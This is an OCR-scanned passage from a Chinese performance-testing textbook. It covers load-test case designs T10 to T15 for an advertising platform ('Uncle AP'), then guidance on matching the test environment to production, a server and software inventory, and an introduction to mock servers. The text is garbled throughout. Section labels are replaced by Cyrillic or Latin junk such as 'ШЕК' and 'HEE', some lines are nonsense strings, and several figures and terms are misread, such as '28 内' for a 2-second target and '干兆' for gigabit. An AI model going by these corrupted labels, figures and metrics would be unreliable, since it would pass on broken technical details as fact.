MAE: 分 别 模拟 并 发 用 户 数 为 1、80、120 三 种 情况 进行 测试 。 

压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 数据库 的 广告 表 (cpc 表 ) 有 230 万 个 账户 。 

集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s, continue when error. 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 响应 时 间 在 3s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 过 60%， 没 有 内 存 泄露 现象 ， 没 有 死 锁 情 况 发 生 。 

用 例 编号 : T10。 

场景 摘 述 : 模拟 用 户 新 建 广告 组 操作 (备注: 新 建 广 告 组 与 新 建 计划 的 代码 实现 逻辑 基本 一 致 ， 为 了 不 重复 体现 ， 所 以 只 写 了 新 建 组 操作 的 用 例 ， 在 实际 工作 中 都 需要 进行 用 例 设计 ) 。 
HEE: 分 别 模拟 并 发 用 户 数 为 1、120、180 三 种 情况 进行 测试 。 


压 测 时 间 : 每 次 15min。 


数据 量 : MySQL 数 据 库 的 客户 组 表 (group 表 ) 有 50 万 账户 。 
集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when errors 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (СРО, Рр, 1/О) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 日 志 是 否 有 死 锁 等 
误 、JVM 内 存 使 用 情况 和 GC 情况 。 


预期 措 标 : 响应 时 间 在 2s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 达 60%， 没 有 内 存 泄 露 现 象 ， 没 有 死 锁 情 况 发 生 。 
用 例 编 号 : T11. 

场景 描述 : 模拟 系统 对 广告 质量 进行 自动 审核 操作 。 

并 发 量 : 模拟 系统 启用 24 个 线程 对 广告 进行 审核 。 

数据 量 : MySQL 数 据 库 的 审核 表 (audit 表 ) 的 未 审核 广告 有 130 万 条 积压 数据 。 


测试 方法 : 人 为 制造 130 万 条 未 审核 广告 ， 待 娄 
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重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资 源 使 用 情况 (СРО. АЖ. 10) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 130 万 条 未 审核 广告 在 600s 内 审核 完成 ， 广 告 审核 成 功率 为 100%， 应 用 服务 器 与 数据 库 服务 器 CPU 使 用 率 和 60%%， 没 有 内 存 泄露 现象 ， 没 有 死 锁 情况 发 生 。 


单 场景 测试 用 例 设 计 完 成 之 后 ， 用 例 设 计 并 没有 结束 ， 因 为 实际 线 上 的 许多 功能 操作 都 是 并 行 发 生 的 ， 所 以 在 设计 完 单 场景 性 能 测试 用 例 之 后 ， 需 要 考虑 综合 场景 (也 就 是 混合 场景 ) 的 性 能 测试 用 例 


设计 。 
混合 场景 性 能 测试 用 例 的 难点 在 于 场景 的 组 合 以 及 各 个 单 场景 的 并 发 用 户 数 的 配 比 。 由 于 小 白 在 之 前 做 了 日 志 分 析 ， 所 以 混合 场景 并 发 用 户 数 的 配 比 基本 精确 。 


混合 场景 不 是 把 所 有 的 测试 场景 熔 合 在 一 起 形成 一 个 大 的 场景 ， 而 应 该 先 考虑 不 同 的 混合 场景 组 合 ， 如 数据 库 查 询 操作 的 混合 场景 、 数 据 库 写 操 作 的 混合 场景 、 数 据 库 查 询 与 写 操作 都 包含 的 大 混合 场 
景 。 下 面 是 小 白 按照 上 述 混合 场景 设计 思路 设计 出 的 性 能 测试 用 例 。 


用 例 编 号 : T12. 


ШЕК: 模拟 系统 不 同 用户 进 行 数据 库 操作 的 混合 场景 ， 场 景 包 括 广告 词 默认 查询 、 广 告 词 批量 查询 、 广 告 组 查询 、 广 告 计 划 查 询 、 广 告 报告 按 日 查询 、 广 告 报告 按 月 查询 、 广 告 词 按 价格 排序 查询 
的 混合 操作 。 


HEE: 总 共 模 拟 337 个 用 户 进 行 同时 操作 ， 其 中 广告 词 默 认 查 询 占 比 20%、 广 告 词 批量 查询 占 比 16%、 广 告 报告 按 日 查询 操作 占 比 17%、 广 告 计划 查询 操作 占 比 10%、 广 告 组 查询 操作 占 比 14%、 广 告 报 
告 按 月 查询 操作 占 比 12%、 广 告 词 按 价 格 排 序 操作 占 比 11%。 


压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 的 cpc 表 有 230 万 条 数据 、plan 表 有 10 万 条 数据 、group 表 有 50 万 条 数据 、MongoDB DB 的 report 表 有 1.6TB 数 据 。 
集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s, continue when error. 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 上 日志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 措 标 : 广告 词 默认 查询 响应 时 间 在 2s 内 、 广 告 词 批量 查询 响应 时 间 在 3s 内 、 广 告 组 查询 响应 时 间 在 2s 内 、 广 告 报告 按 日 查询 响应 时 间 在 3s 内 、 广 告 按 月 查询 响应 时 间 在 3s 内 、 广 告 计划 查询 响应 时 间 
在 2s 内 、 广 告 词 按 价格 排序 查询 响应 时 间 在 3s 内 ， 事 务 成 功率 为 100%， 应 用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 达 60%， 没 有 内 存 汇 露 现 象 ， 没 有 死 锁 情况 发 生 。 


用 例 编号 : T13。 
ШЕН: 模拟 系统 不 同 用 户 进行 数据 库 写 操作 的 混合 场景 ， 场 景 包 括 广告 词 默认 创建 、 广 告 词 批量 创建 、 新 建 广告 组 操作 、 新 建 广 告 计划 操作 、 广 告 审核 操作 、 广 告 生效 操 作 。 


并 发 量 : 总 共 模 拟 337 个 用 户 进行 同时 操作 ， 其 中 广告 词 默 认 创建 操作 占 比 20%、 广 告 词 批量 创建 操作 占 比 20%、 新 建 广告 组 操作 占 比 18%、 新 建 广告 计划 操作 占 比 12%、 广 告 生效 操作 占 比 30%、 广 告 审 
核 操 作 (系统 进程 不 会 有 并 发 ， 所 以 只 考虑 审核 表 的 数据 量 即 可 ) 。 


压 测 时 间 : 每 次 15min。 

数据 量 : MySQL 的 cpc 表 有 230 万 条 数据 、plan 表 有 10 万 数据 、gtoup 表 有 50 万 条 数据 、audit 表 有 130 万 条 未 审核 数据 、MongoDB DB 的 tepott 表 有 1.6TB 数 据 。 
集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when error. 


重点 关注 指标 : 响应 时 间 、 事 务 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资 源 使 用 情况 (CPU、 内 存 、I/O) 、 应 用 上 日志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情况 。 


预期 指标 : 广告 默认 创建 响应 时 间 在 2s 内 、 广 告 批量 创建 响应 时 间 在 5s 内 、 新 建 广告 组 以 及 广告 计划 响应 时 间 在 2s 内 、 广 告 审核 操作 操作 在 600s 内 完成 、 广 告 生效 操作 在 2s 内 ， 事 务 成 功率 为 100%， 应 
用 服务 器 跟 数 据 库 服务 器 CPU 使 用 率 过 60%， 没 有 内 存 泄露 现象 ， 没 有 死 锁 情况 发 生 。 


用 例 编 号 : T14。 


场景 描述 : 模拟 系统 不 同 用户 进 行 数 据 库 读 写 操作 的 混合 场景 ， 场 景 包 括 用 户 登 录 、 广 告 词 默认 查询 、 广 告 词 批 量 查询 、 广 告 组 查询 、 广 告 报告 按 月 查询 、 新 建 广告 组 、 广 告 词 默认 创建 、 广 告 词 批量 
创建 、 广 告 审 核 、 广 告 生效 、 广 告 词 按 价格 排序 。 


HEE: 总 共 模 拟 337 个 用 户 同时 操作 ， 其 中 用 户 登 录 操 作 占 比 8%、 广 告 词 默 认 查 询 操 作 占 比 16%、 广 告 词 批 量 查 询 操 作 占 比 13%、 广 告 计划 查询 操作 占 比 11%、 广 告 报告 按 月 查询 操作 占 比 9%、 新 建 广 
告 组 操作 占 比 9%、 广 告 词 默 认 创 建 操作 占 比 5%、 广 告 词 批 量 创 建 操作 占 比 10%、 广 告 生效 操作 占 比 13%、 广 告 词 按 价格 排序 查询 操作 占 比 6%、 广 告 审核 操作 (系统 进程 只 考虑 数据 量 ， 不 考虑 并 发 用 户 
A) 。 


压 测 时 间 : 每 次 15 分 钟 。 

数据 量 : MySQL 的 cpc 表 有 230 万 条 数据 、plan 表 有 10 万 条 数据 、group 表 有 50 万 条 数据 、audit 表 有 130 万 条 未 审核 数据 、MongoDB DB 的 report 表 有 1.6TB 数 据 、Oracle 的 ust 表 有 90 万 条 数据 。 
集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when error. 


重点 关注 指标 : 响应 时 间 、 事 条 成 功率 、 应 用 服务 器 资源 使 用 情况 (CPU、 内 存 、I/O) 、Oracle 数 据 库 资源 使 用 情况 (CPU、 内 存 、IL/O) 、 应 用 日 志 是 否 有 死 锁 等 错误 、 数 据 库 日 志 是 否 有 死 锁 等 错 
误 、JVM 内 存 使 用 情况 和 GC 情 况 。 


预期 指标 : 广告 词 默 认 创建 以 及 新 建 广告 组 操作 响应 时 间 在 2s 内 、 广 告 词 批量 创建 响应 时 间 在 5s 内 、 广 告 词 默认 查询 响应 时 间 在 28 内 、 广 告 词 批量 查询 响应 时 间 在 3s 内 、 广 告 报告 按 月 查询 响应 时 间 在 3 
内 、 广告 词 按 价格 排序 响应 时 间 在 3s 内 、 广告 审核 操作 在 600s 内 完成 、 广告 生效 操作 在 2s 内 、 用 户 登 录 响 应 时 间 在 2s 内 ， 事务 成 功率 为 100%， 应 用 服务 器 与 数据 库 服务 器 CPU 使 用 率 达 60%， 没有 内 存 泄露 现 
象 ， 没 有 死 锁 情 况 发 生 。 


3. 稳 定性 场景 


设计 完 单 场景 以 及 混合 场景 测试 用 例 后 ， 还 应 该 考虑 稳定 性 测试 ， 其 目的 是 测试 系统 是 否 有 内 存 泄露 现象 发 生 ， 同 时 也 可 以 测试 系统 的 平均 无 故障 时 间 。 小 白 的 主要 目的 是 测试 系统 是 否 有 应 用 内 存 泄 
露 现 象 ， 因 此 直接 用 混合 场景 做 长 时 间 的 稳定 性 测试 ， 用 例 设计 如 下 。 


用 例 编号 : T15。 


ПЕ Ж: 模拟 系统 不 同 用 户 进 行 数 据 库 读 写 操作 的 混合 场景 ， 场 景 包 括 用 户 登 录 、 广 告 词 默认 查询 、 广 告 词 批 量 查询 、 广 告 组 查询 、 广 告 报告 按 月 查询 、 新 建 广告 组 、 广 告 词 默认 创建 、 广 告 词 批量 
创建 、 广 告 审 核 、 广 告 生效 、 广 告 词 按 价格 排序 。 


HRE: 总 共 模拟 337 个 用 户 同时 操作 ， 其 中 用 户 登 录 操 作 占 比 8%、 广 告 词 默认 查询 操作 占 比 16%、 广 告 词 批量 查询 操作 占 比 13%、 广 告 计 划 查 询 操作 占 比 11%、 广 告 报告 按 月 查询 操作 占 比 9%、 新 建 广 
告 组 操作 占 比 9%、 广 告 词 默认 创建 操作 占 比 5%、 广 告 词 批量 创建 操作 占 比 10%、 广 告 生效 操作 占 比 13%、 广 告 词 按 价格 排序 查询 操作 占 比 6%、 广 告 审核 操作 〈 这 里 持续 审核 新 建 的 未 审核 广告 ， 不 需要 人 为 
制造 大 量 未 审核 数据 ) 。 


压 测 时 间 : 持续 2X24 小 时 。 

数据 量 : MySQL 的 cpc 表 有 230 万 条 数据 、plan 表 有 10 万 条 数据 、group 表 有 50 万 条 数据 、MongoDB DB 的 report 表 有 1.6TB 数 据 、Oracle 的 ust 表 有 90 万 条 数据 。 
集合 点 : 不 使 用 集合 点 。 

加 压 方式 : 全 部 初始 化 、 全 部 退出 。 

场景 运行 时 设置 : think time=2s、continue when error, 

重点 关注 指标 : JVM 内 存 使 用 情况 和 GC 情况 。 

预期 指标 : 无 内 存 泄露 现象 或 者 迹象 发 生 。 

到 此 ， 所 有 性 能 测试 用 例 设 计 基本 完成 。 同 样 ， 性 能 测试 用 例 设 计 也 需要 评审 ， 小 白 召 集 项 目 相关 人 员 进 行 需求 评审 ， 最 终 确 定 的 性 能 测试 用 例 设计 通过 评审 。 


[1] 后 面 简称 广告 词 默认 查询 。 


94 ”性 能 测试 环境 准备 与 搭建 


在 做 完 性 能 测试 用 例 设计 之 后 ， 小 白 接 下 来 应 该 考虑 性 能 测试 环境 的 相关 事宜 。 性 能 测试 环境 的 准备 在 性 能 测试 过 程 中 是 很 重要 的 ,没有 考虑 和 规划 性 能 环境 ， 不 仅 会 影响 性 能 测试 效率 ， 还 会 影响 性 
能 测试 的 结果 。 
9.4.1 ”性 能 测试 环境 

性 能 测试 环境 包括 软件 环境 、 硬 盘 环境 和 网 络 环境 。 这 三 大 环境 不 仅仅 是 指 应 用 服务 器 环境 ， 还 包括 数据 库 服 务 器 环境 、 缓 存 服务 器 、 文 件 服务 器 以 及 其 他 中 间 应 用 服务 器 环境 。 

硬件 环境 包括 : CPU、 内 存 、 硬 盘 等 基本 因素 。 

软件 环境 包括 : 软件 版 本 号 、 软 件 位 数 、 配 置 文件 等 。 比 如 JDK 的 版 本 以 及 位 数 、 数 据 库 软件 版 本 、Tomcat 的 版 本 。 配 置 文件 包括 JVM 配 置 、 线 程 池 配 置 、 数 据 库 配 置 文件 等 。 

网 络 环境 包括 : 网 络 协议 以 及 网 络 带宽 等 。 


集群 环境 包括 : 应 用 相关 服务 器 (包括 文件 服务 器 等 ) 的 负载 均衡 环境 、 数 据 库 (包括 缓存 数据 库 等 ) 的 热 备 或 者 主 从 环境 、 集 群 环境 等 。 


942 ”性 能 测试 环境 的 重要 性 


线 上 测试 环境 有 时 候 会 十 分 庞大 ， 比 如 用 24 台 机 器 做 应 用 服务 的 负载 均衡 ， 测 试 环境 可 能 无 法 申请 到 24 台 机 器 做 性 能 测试 ; 线 上 用 的 是 实体 机 ， 测 试 环境 可 能 只 有 虚 机 。 如 果 性 能 测试 人 员 没 有 认识 到 
性 能 测试 环境 的 重要 性 ， 可 能 就 直接 用 现 有 的 测试 机 直接 搭建 性 能 测试 ， 这 样 得 出 的 性 能 测试 会 不 准确 。 但 往往 很 多 性 能 测试 人 员 在 做 性 能 测试 的 时 候 ， 会 忽略 性 能 测试 环境 的 重要 性 。 


1) 如 果 性 能 测试 硬件 环境 不 一 致 ， 那 么 性 能 测试 的 结果 是 不 准确 的 。 比 如 线 上 生产 环境 的 机 器 是 16GB 内 存 8 核 逻辑 CPU， 线 下 测试 环境 是 2GB 内 存 1 核 逻辑 CPU， 那 么 线 下 性 能 测试 结果 会 低 于 线 上 真 
实 的 性 能 情况 ， 从 而 导致 无 法 较 准 确 地 模拟 测试 出 真实 环境 的 性 能 数据 ; 反 过 来 线 下 测试 环境 比 线 上 测试 环境 好 ， 可 能 导致 线 下 性 能 测试 结果 高 于 生产 环境 的 真实 性 能 表现 ， 从 而 引发 线 上 的 性 能 过 载 ， 导 
致 性 能 测试 故障 发 生 。 所 以 在 性 能 测试 环境 中 ， 必 须 尽 可 能 保证 硬件 环境 与 线 上 生产 环境 一 致 ， 包 括 CPU、 内 存 、 硬 盘 等 基本 因素 。 


2) 如 果 软 件 环境 版 本 不 一 致 ， 那 么 导致 的 结果 是 性 能 测试 结果 数据 基本 作废 。 比 如 线 上 用 的 是 Oracle 的 JDK1.7.0_02 版 本 ， 测 试 环境 用 的 是 JDK1.5.0_02 版 本 ， 然 后 性 能 测试 人 员 在 测试 环境 测试 花费 7 
天 时 间 得 出 了 一 份 性 能 测试 报告 ， 开 发 人 员 一 看 连 软件 版 本 都 不 一 致 ， 就 会 直接 打 回 测试 结果 ， 要 求 性 能 测试 人 员 重 新 按照 与 线 上 生产 环境 一 致 的 软 硬 件 环境 进行 测试 ， 这 样 不 仅 会 导致 性 能 测试 人 员 的 重 
复工 作 ， 也 可 能 会 耽误 系统 最 终 的 上 线 时 间 。 所 以 在 性 能 测试 环境 中 ， 性 能 测试 人 员 必 须 保持 软件 版 本 (精确 到 小 版 本 号 ) 与 线 上 生产 环境 一 致 ， 如 JDK 版 本 、Web 容 器 (如 Tomcat) 版 本 、OSs 版 本 、 数 
据 库 版 本 等 。 


3) 如 果 软 件 配置 项 不 一 致 ， 那 么 会 导致 性 能 测试 结果 不 准确 。 比 如 JVM 参 数 设 置 与 线 上 生产 环境 不 一 致 、 数 据 库 内 存 大 小 设置 与 线 上 生产 环境 不 一 致 都 会 导致 性 能 测试 结果 的 差异 性 。 所 以 在 性 能 测试 
环境 中 ， 性 能 测试 人 员 需 要 保持 涉及 的 配置 项 与 生产 环境 一 致 ， 如 Web 容 器 (如 Tomcat) 线程 属性 配置 、 数 据 库 配置 项 、JVM 配 置 、OS 配 置 (如 网 络 参数 ) 等 。 


Д) 如 果 网 络 环境 保持 不 一 致 ， 那 么 导致 性 能 测试 结果 不 准确 。 比 如 线 上 生产 环境 是 干 兆 带宽 ， 测 试 环 境 是 百 兆 带宽 ， 那 么 在 测试 上 传 下 载 这 种 需要 网 络 带宽 的 项 目 时 ， 可 能 无 法 得 出 相对 准确 的 性 能 测 
试 结 果 。 所 以 在 性 能 测试 环境 中 ， 性 能 测试 人 员 需 要 保证 网 络 环境 与 线 上 一 致 ， 包 括 网 络 协议 以 及 网 络 带 宽 等 。 


5) 如 果 集 群 环境 与 线 上 不 一 致 ， 那 么 会 导致 性 能 测试 结果 也 不 准确 。 比 如 线 上 生产 数据 库 是 一 主 四 从 总 计 5 台 服 务 器 ， 测 试 环境 只 有 一 台数 据 库 服务 器 ， 那 么 线 下 性 能 测试 结果 会 比 线 上 实际 性 能 
线 上 是 采用 8 台 服 务 器 做 应 用 服务 的 负载 均衡 ， 线 下 只 有 一 台 应 用 服务 器 ， 那 么 这 个 性 能 测试 结果 也 会 有 差距 。 所 以 在 性 能 测试 环境 中 ， 性 能 测试 人 员 需 要 尽 可 能 保持 集群 环境 与 生产 环境 一 致 ， 如 数据 库 的 
集群 、 应 用 服务 器 的 集群 等 。 大 型 集群 环境 ， 测 试 环境 肯定 无 法 满足 。 比 如 线 上 120 台 物理 机 做 应 用 服务 器 的 负载 均衡 ， 测 试 环境 肯定 不 能 申请 120 台 服务 器 来 进行 负载 均衡 ， 具 体 怎 么 办 ， 会 在 9.4.4 节 进行 
介绍 。 
9.4.3 ”确定 实际 运行 环境 

在 正式 搭建 性 能 测试 环境 之 前 ， 小 白 需 要 了 解 Uncle AP 项 目 上 线 后 的 软 硬 件 环境 。 在 与 运 维 人 员 和 项 目 经 理 确定 后 ， 最 终 线 上 的 实际 运行 环境 如 下 。 

1. 硬 件 环境 

Uncle AP 应 用 服务 器 : Linux 虚 拟 机 ，8 核 CPU (2.40GHz、12288KB cache size) 、16GB 内 存 、200GB 硬 盘 ， 总 计 4 台 做 负载 均衡 。 

Uncle AP 代理 转发 服务 器 : Linux 虚 拟 机 ，8 核 CPU (2.40GHz、12288KB cache size) 、16GB 内 存 、200GB 硬 盘 ， 总 计 1 台 ， 要 装 Nginx 进 行 反 向 代理 。 

Uncle AP MySQL 广 告 数据 库 服务 器 : Linux 实 体 机 ，16 核 CPU (2.40GHz, 15360KB cache size) 、48GB 内 存 、1.4TB 硬 盘 ， 一 主 三 从 总 计 8 组 ， 总 计 32 人 台 。 

Uncle AP Oracle 数 据 库 服务 器 : Linux 实 体 机 ，32 核 CPU (2.40GHz、15360KB cache size) 、96GB 内 存 、1.4TB 硬 盘 ， 一 主 二 从 ， 总 计 3 台 。 

Uncle AP MongoDB 数 据 库 服 务 器 : Linux 实 体 机 ，32 核 CPU (2.40GHz, 15360KB cache size) 、96GB 内 存 、2.4TB 硬 盘 ， 一 主 二 从 ， 总 计 3 台 。 

Uncle AP 日 志 MySQL 数 据 库 服务 器 : Linux 虚 机 ，8 核 CPU (2.40GHz, 12288KB cache size) 、16GB 内 存 、500GB 硬 盘 ， 一 主 二 从 ， 总 计 3 台 。 

其 他 支撑 应 用 服务 器 以 及 数据 库 : 先 忽 略 ， 申 请 3 台 Linux 虚 拟 机 备用 ， 具 体 原 因 在 9.4.5 节 中 解释 。Linux 虚 拟 机 要 求 8 核 CPU (2.40GHz、12288KB cache size) 、16GB 内 存 、200GB 硬 盘 。 

网 络 环境 : 干 兆 网 卡 。 

2. 软 件 环 境 

Linux: 64 位 操作 系统 ，Red Hat 4.1.2-52、Linux version 2.6.18-308.24.1.el5 (虚拟 机 与 实体 机 都 是 此 操作 系统 ) 。 

JDK: 版 本 号 1.6.0 02、Linux 64 位 、SUN。 

Web 容 器 : Tomcat 6. Nginx1.3.5, 

MySQL: Linux 64 位 、 版 本 号 5.6.10。 

Oracle: Linux 64 位 、Oracle 119, 

MongDB: Linux 64 位 、 版 本 号 2.6.4。 


配置 项 : Linux 系 统 、MySQL、Oracle、MongDB、Tomcat、Nginx 等 配置 都 参考 线 上 现 有 环境 (由 于 配置 项 太 多 ， 这 里 不 一 一 列举 ， 在 后 面 的 项 目 调 优 章节 会 对 部 分 配置 进行 说 明 ) 。 


944 ”申请 并 搭建 仿真 性 能 测试 环境 


确定 了 生产 环境 的 软 硬 件 配置 之 后 ， 小 白 需 要 按照 确定 的 实际 生产 环境 准备 性 能 测试 环境 。 
如 果 能 用 生产 环境 做 性 能 测试 ， 那 么 优先 考虑 直接 使 用 生产 环境 做 性 能 测试 。 如 果 无 法 用 生产 环境 做 性 能 测试 ， 那 么 在 申请 线 下 仿真 测试 环境 的 时 候 ， 应 该 遵循 以 下 原则 。 
Т) 硬件 环境 尽 可 能 地 保持 与 生产 环境 一 致 ， 包 括 集群 环境 。 


2) 如 果 集 群 环境 太 庞大 ， 如 生产 环境 采用 120 人 台 应 用 机 器 进行 负载 均衡 ， 就 不 可 能 也 申请 120 台 机 器 进行 性 能 测试 ， 这 里 可 以 考虑 申请 3 台 与 线 上 生产 环境 一 致 的 机 器 来 作为 线 下 的 性 能 测试 机 。 在 线 下 
性 能 测试 过 程 中 ， 可 以 分 别 测试 单机 、 双 机 、 三 机 负载 均衡 时 候 的 性 能 表现 ， 然 后 根据 3 种 情况 下 性 能 表现 计算 出 用 120 台 机 器 进行 负载 均衡 时 的 性 能 损耗 率 ， 从 而 较为 真实 地 计算 出 线 上 120 人 台 机 器 进行 负 
载 均衡 时 候 的 性 能 指标 值 。 

3) 如 果 数 据 库 集群 环境 太 庞大 ， 如 Uncle AP 项 目 广告 数据 库 是 8 组 32 台 ， 那 么 线 下 测试 不 会 申请 32 台 机 器 进行 性 能 测试 。 一 般 这 种 情况 只 申请 一 组 数据 库 (一 主 三 从 ) 作为 性 能 测试 的 数据 库 即 可 。 
因为 大 型 的 数据 库 集群 基本 都 是 采用 拆 库 分 表 (本 次 Uncle AP 升级 的 原因 ) 策略 ， 所 以 会 导致 数据 库 集群 庞大 。 申 请 一 组 数据 库 机 器 就 可 以 开展 性 能 测试 ， 只 需要 保证 性 能 测试 所 用 的 用 户 数据 都 落 在 申请 
的 这 组 数据 库 即 可 ， 在 这 里 小 白 也 采用 了 该 策略 。 


4) 如 果实 在 无 法 保证 硬件 环境 与 线 上 保持 一 致 ， 那 么 只 能 按照 低 配 环境 进行 测试 ， 如 果 低 配 环境 测 出 的 性 能 数据 满足 上 线 要 求 ， 那 么 线 上 高 配 环境 肯定 也 满足 既定 的 性 能 要 求 ; 如 果 无 法 满足 ， 则 不 建 
议 做 建 模 估 算 ， 因 为 如 果 CPU 颗 粒 数 、 高 速 缓 在、 物理 内 存 大 小 、 磁 盘 转 速 不 同 ， 所 谓 的 性 能 建 模 得 出 的 性 能 结果 也 不 会 准确 到 哪 去 。 


5) 一 些 支撑 系统 ， 如 一 些 被 调用 的 系统 ， 如 果 不 影响 当前 测试 系统 的 性 能 ， 那 么 可 以 不 需要 等 待 这 些 支 撑 系 统 开发 完成 后 再 展开 性 能 测试 ， 当 然 也 更 不 需要 申请 准备 这 类 支撑 系统 的 仿真 环境 ， 只 需要 
对 这 些 支 撑 系 统 做 Mock Server 即 可 。Mock Server 将 在 9.4.5 节 中 介绍 。 


按照 上 述 思 路 小 白 实 际 申 请 的 性 能 测试 仿真 环境 如 下 。 


: Uncle AP 应 用 服务 器 : Linux 虚 拟 机 ，8 核 CPU (2.40GHz. 12288KB cache size) ~ 16GB +. 200GB4& X, i44 fH 3545. 


(= 


ncle AP 代理 转发 服务 器 : Linux 虚 拟 机 ，8 核 CPU (2.40GHz、12288KB cache size) 、16GB 内 存 、200GB 硬 盘 ， 总 计 1 台 ， 安装 Nginx 进 行 反 向 代理 。 
. Uncle AP Mysql 广 告 数 据 库 服务 器 : Linux 实 体 机 ，16 核 CPU (2.40GHz、15360KB cache size) 、48GB 内 存 、1.4TB 硬 盘 ， 一 主 三 从 ， 总 计 1 组 4 台 。 
- Uncle AP Oracle 数 据 库 服务 器 : Linux 实 体 机 ，32 核 CPU (2.40GHz、15360KB cache size) ~ 96GBP] É~ 1.4TB4g X, — € —)A, #36. 


: Uncle AP MongoDB 数 据 库 服务 器 : Linux 实 体 机 ，32 核 CPU (2.40GHz. 15360KB cache size) 、96GB 内 存 、2.4TB 硬 盘 ， 一 主 二 从 ， 总 计 3 台 。 


: Uncle AP 日 志 MySQL 数 据 库 服务 器 : Linux 虚 拟 机 ，8 核 CPU (2.40GHz、12288KB cache size) 、16GB 内 存 、500GB 硬 盘 ， 一 主 二 从 ， 总 计 3 台 。 
其 他 支撑 应 用 服务 器 及 支撑 数据 库 : 3 台 Linux 虚 拟 机 ，8 核 CPU (2.40GHz、12288KB cache size) 、16GB 内 存 、200GB 硬 盘 ， 做 Mock Server 使 用 。 


申请 完 仿真 环境 后 ， 提 交 申 请 ， 运 维 人 员 审 批 并 分 配 机 器 ， 在 功能 测试 相对 稳定 后 ， 小 白 就 可 以 着 手 搭建 性 能 仿真 环境 了 。 在 搭建 仿真 测试 环境 中 ， 需 要 注意 保持 软件 版 本 及 配置 参数 与 以 后 的 线 上 系 
统一 致 。 软 件 版 本 按照 9.4.3 节 中 确定 的 清单 准备 ， 相 关 软 件 的 配置 参数 也 需要 与 线 上 保持 一 致 。 下 面 主 要 说 明 部 分 影响 性 能 测试 环境 的 配置 项 。 


1) Linux: 网 络 配置 、IOscheduler 算 法 、 磁 盘 分 区 /磁盘 阵列 、 文 件 句 柄 、CPU 亲 和 度 等 。 

2) Tomcat: 线程 池 、gzip 压 缩 、Keep-Alive 属 性 等 。 

3) JVM 参 数 : 最 大 最 小 堆 内 存 、 年 轻 代 以 及 老年 代 大 小 、 持 久 代 大 小 、 二 圾 回收 器 的 选择 等 。 

4) Nginx: worker processes, worker rlimit nofile、Events 模 块 、HTTP 模 块 的 配置 。 

5) 数据 库 参 数 : 如 MySQL 数 据 库 的 内 存 分 配 、 索 引 、 存 储 引 警 的 优化 (一 些 关 键 的 buffer size 的 配置 ， 如 key_buffer_size、max_connections、innodb buffer pool size, sort buffer size 等 ) 、 
9.4.5 Mock Server 的 准备 


在 9.4.3 节 和 9.4.4 节 中 ， 小 白 提 到 了 一 个 词 “Mock server”， 有 些 工程 师 也 许 会 觉得 这 个 词 很 新 鲜 ， 其 实 这 个 词 很 早 就 广泛 应 用 在 开发 以 及 测试 工作 中 了 。 


在 互联 网 行业 叫 Mock Server， 在 银行 等 金融 行业 叫做 性 能 测试 挡 板 ， 其 实质 就 相当 于 以 前 我 们 接触 到 的 桩 程序 。 现 在 的 业务 系统 越 来 越 庞大 ， 很 少 孤立 存在 ， 它 们 或 多 或 少 都 需要 使 用 兄弟 团队 或 是 
其 他 公司 提供 的 服务 ， 这 为 联 调和 测试 造成 了 麻烦 。 如 果 这 些 依赖 服务 没有 开发 完成 ， 我 们 也 不 可 能 一 直 等 待 ， 有 时 候 这 些 依赖 服务 的 性 能 测试 环境 还 非常 庞大 ， 我 们 不 可 能 搭建 这 样 一 套 完整 的 依赖 服 
务 ， 但 其 实 这 类 依赖 服务 不 直接 影响 被 测 系统 的 性 能 。 对 于 这 种 情况 ， 常 见 的 解决 方案 是 搭建 一 个 临时 的 Server， 模 拟 那些 服务 ， 提 供 数据 进行 联 调 和 测试 。 这 就 是 Mock server 的 雏形 。 


Mock 通 常 是 指 ， 在 测试 一 个 对 象 A 时 ， 构 造 一 些 假 的 对 象 来 模拟 与 A 之 间 的 交互 ， 而 这 些 Mock 对 象 的 行为 是 我 们 事先 设 定 且 符 合 预期 的 。 通 过 这 些 Mock 对 象 来 测试 A 在 正常 逻辑 、 异 常 逻 辑 或 有 压力 
